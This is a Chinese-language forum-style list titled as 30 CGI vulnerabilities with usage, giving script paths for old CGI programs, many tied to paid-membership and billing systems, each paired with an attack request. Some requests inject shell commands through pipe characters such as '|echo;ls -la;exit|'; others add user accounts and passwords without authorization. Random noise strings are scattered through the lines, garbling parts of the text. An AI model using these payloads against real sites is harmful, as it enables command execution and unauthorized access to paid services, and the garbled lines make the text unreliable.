Cgi-bin 30个漏洞＋使用方法

admin

==============================
# X. y) ?( }' ^! ~
/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command
/ ]/ a! ?: b: n4 r
/passmaster.cgi
Action=Add&Username=Username&Password=Password
2 f+ L; t0 T; z5 H0 b0 U1 b
/accountcreate.cgi
/ s" m3 g5 D1 b/ k; X; L0 Vusername=username&password=password&ref1=|echo;ls|

/form.cgi
/ r& v0 O3 _; X" kname=xxxx&email=email&subject=xxxx&response=|echo;ls|

# ^( i7 w* S  S8 L8 U/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
9 R' @( L0 e% q. l' J/ l
4 H" r  S4 q# t# K/ccbill-local.asp
post_values=username:password

  c1 v5 l& {2 T  x: [& m( C7 K! U/count.cgi
3 m6 @9 F$ m  Y6 O) vpinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|

/modify.cgi
4 Z- G3 q6 j' a, O, v+ susername=username&password=password&expire=30

/openjournal.cgi
" W0 w4 u; `% N) i9 E" o" J2 _% ^edit=1&ct=2&go=|echo;ls -al;exit|

( T' g8 Z$ T% B0 |2 s. L/gx9passwd.cgi
. z  N3 b, n  {# a3 vcmd=ADD&user=username&pass=password
; b% O' c# {& R% T3 F
+ \) e5 e! W- m/probecontrol.cgi
command=enable&username=username&password=password
/ i" V) q. F& i3 z' w
/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit
$ r) t4 I9 U/ l% Y7 _! w& h. O  @
/htadd.pl
! l7 k- |& Q7 ?. y+ |9 Iconfigfile=|echo; ls -alt; exit
' O% T$ z4 \9 g; |' M  D, J
9 ~: F, j" N' L* M: p/gx9passwd.cgi
2 P# s5 \0 R9 v9 \8 x9 c9 Acmd=ADD&user=username&pass=password
" `! Y! z3 f( n6 |! y6 f, s
/ibill*.pl
8 Z  N8 W+ j- c! Y7 C2 wreqtype=add&authpwd=authpwd&username=username&password=password

. a$ A1 p* X: K& z5 i2 ^/cpay.cgi
" s+ R  Y" B+ t( ocommand=add_member&username=username(EMAIL)&password=password(DES)

  f6 M# m( l3 F; F* Q: d8 J/globill_ut.cgi
6 T* \! n$ \# Y& _do=add&username=username&password=password&wpassword=password
9 }, x6 L1 B/ B) B1 N% j7 `% {
) @4 D9 G; Y- k; G0 Q( e% c# I/usercontrol.cgi
- F! t8 `+ X( h& lcommand=enable&username=USER&password=PASS

/globoSALErum.cgi
action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
7 x7 t; \' b- q3 A4 G  h/ Ipinfile=|echo;pwd;exit|
1 a! V6 ?" E' {8 j: Y# W" S9 g. J, k
+ o- `' I: B: Q/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
6 `% `. y9 W1 r$ |( f+ X4 V: l8 ?username=username&password=password&password2=password&ref1=|echo;ls -al;exit
  ?$ _9 g8 H, T+ T0 W+ k2 m
/af.cgi
0 Z- ]; n2 G; c; W8 k/env.cgi
ADD+;echo;pwd;exit

! I6 I' F& g4 l# P, z# N4 [/count.cgi
pinfile=|echo;pwd;exit|

: B7 U, ^7 L$ ^$ y* K/recon.cgi
" n8 k: M% c1 ~4 t1 M. Vsearchoption=1&searchfor=|echo;ls%20-al;exit|

/add.cgi
username=username&password=password&expire=30

2 j. H5 R. s: F) k# ~, [+ w/ X4 {' J==============================